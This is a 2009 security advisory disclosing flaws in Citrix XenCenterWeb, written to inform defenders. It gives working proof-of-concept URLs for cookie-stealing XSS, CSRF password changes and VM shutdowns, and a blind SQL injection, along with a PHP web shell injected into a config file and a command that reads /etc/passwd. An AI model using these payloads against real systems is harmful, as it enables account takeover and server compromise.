Secure Network - Security Research Advisory

Vuln name: Citrix XenCenterWeb Multiple Vulnerabilities 
Systems affected: Citrix XenCenterWeb
Systems not affected: n/a
Severity: High
Local/Remote: Remote
Vendor URL: http://www.citrix.com
Author(s): Alberto Trivero a.trivero@securenetwork.it  - Claudio Criscione c.criscione@securenetwork.it
Vendor disclosure: 1/06/2009
Vendor acknowledged: 11/06/2009
Vendor patch release: n/a
Public disclosure: 06/07/2009
Advisory number: SN-2009-01
Advisory URL: http://securenetwork.it/ricerca/advisory/download/SN-2009-01.txt


*** SUMMARY ***

Citrix XenCenterWeb is a web interface for Citrix XenServer environment management.
Users of XenCenterWeb will be able to see a list of Virtual Machines in the Resource Pool,
perform life-cycle actions (start, shutdown, restart, etc.), get basic information about
the hosts in the Resource Pools, information about the VMs and also connect to the console
of the VMs.

Because of poor validation of some user controlled inputs, a variety of attacks
against the application and the underlying server are possible.
Cross-site scripting, cross-site request forgery, SQL injection and remote command
execution attack vectors were identified as well. 

XSS and CSRF attacks can be performed on the virtual appliance itself, while the others
require the PHP parameter magic_quotes_gpc to be off on the web server.

*** VULNERABILITY DETAILS ***

(a) Cross-site Scripting (XSS) and Cross-site Request Forgery (CSRF)
With the default PHP configuration (register_globals=Off and magic_quotes_gpc=On), 
both XSS and CSRF attacks can be executed.

The first XSS attack exploits the lack of sanitization in the username parameter in
edituser.php script and requires the victim to be able to access configuration scripts:
https://xencenterweb.loc/config/edituser.php?username=1<script>alert(document.cookie)</script>

Under the same conditions, a CSRF attack can be executed to change the password
of an arbitrary user:
https://xencenterweb.loc/config/changepw.php?username=[victim_username]&newpass=[attacker's_chosen_pwd]

Another CSRF attack can hard stop a VM of the attacker's choice:
https://xencenterweb.loc/hardstopvm.php?stop_vmref=[VMref]&stop_vmname=[VMname]

Other XSS vulnerabilities afflict scripts accessible by anyone:
https://xencenterweb.loc/console.php?location=1"><script>alert(document.cookie)</script><"&vmname=myVM
https://xencenterweb.loc/console.php?location=1&sessionid=1"><script>alert(123)</script><"&vmname=myVM
https://xencenterweb.loc/console.php?location=1&sessionid=1&vmname=myVM<script>alert(123)</script>
https://xencenterweb.loc/forcerestart.php?vmrefid=1"><script>alert(123)</script><"&vmname=myVM
https://xencenterweb.loc/forcerestart.php?vmrefid=1&vmname=myVM"><script>alert(123)</script><"
https://xencenterweb.loc/forcesd.php?vmrefid=1&vmname=myVM"><script>alert(123)</script><"
https://xencenterweb.loc/forcesd.php?vmrefid=1"><script>alert(123)</script><"&vmname=myVM

(b) SQL Injection
The username parameter in the login.php script is vulnerable to a Blind SQL Injection attack.
An attacker can retrieve the whole database schema through specially crafted requests.
Here is an example proof of concept:
https://xencenterweb.loc/login.php?username=user' UNION SELECT if(user() LIKE 'root@%', benchmark(1000000,sha1('test')), 'false')/*
Obviously, other high profile attacks can be performed through this attack vector.

(c) Remote Command Execution
An attacker could write arbitrary data in the file /usr/local/lib/php/include/config.ini.php
through the file /var/www/config/writeconfig.php. Due to this unsecure behavior, arbitrary commands can be executed on the machine.
If a victim with the proper authorization follows this link:
https://xencenterweb.loc/config/writeconfig.php?pool1='; ?> <?php $cmd = $_REQUEST['cmd']; passthru($cmd); ?> <?php $xen = '
or this URL encoded version:
https://xencenterweb.loc/config/writeconfig.php?pool1=%27%3B%20%3F%3E%20%3C%3Fphp%20%24cmd%20%3D%20%24_REQUEST%5B%27cmd%27%5D%3B%20passthru%28%24cmd%29%3B%20%3F%3E%20%3C%3Fphp%20%24xen%20%3D%20%27
an attacker can then simply execute commands on the system through the console.php file:
https://xencenterweb.loc/console.php?cmd=cat%20/etc/passwd;


*** EXPLOIT ***

Attackers may exploit these issues through a common browser as explained above.



*** FIX INFORMATION ***

No patch is currently provided by Citrix, and the application download has been removed.
Citrix officially stated that "the tool was created to demonstrate how the SDK could
be used to create unique solutions. Customers currently using it should assess the 
risks of continued use in light of your findings and, if these prove to be unacceptable, 
discontinue usage".


*** WORKAROUNDS ***

Common web application workarounds apply, like virtual patching from a web application firewall or similar
solutions. However most of the reported issues can be mitigated by running the application only inside
the virtual appliance or in properly configured web servers.

Secure Network would like to thank Citrix for its support during the disclosure process.


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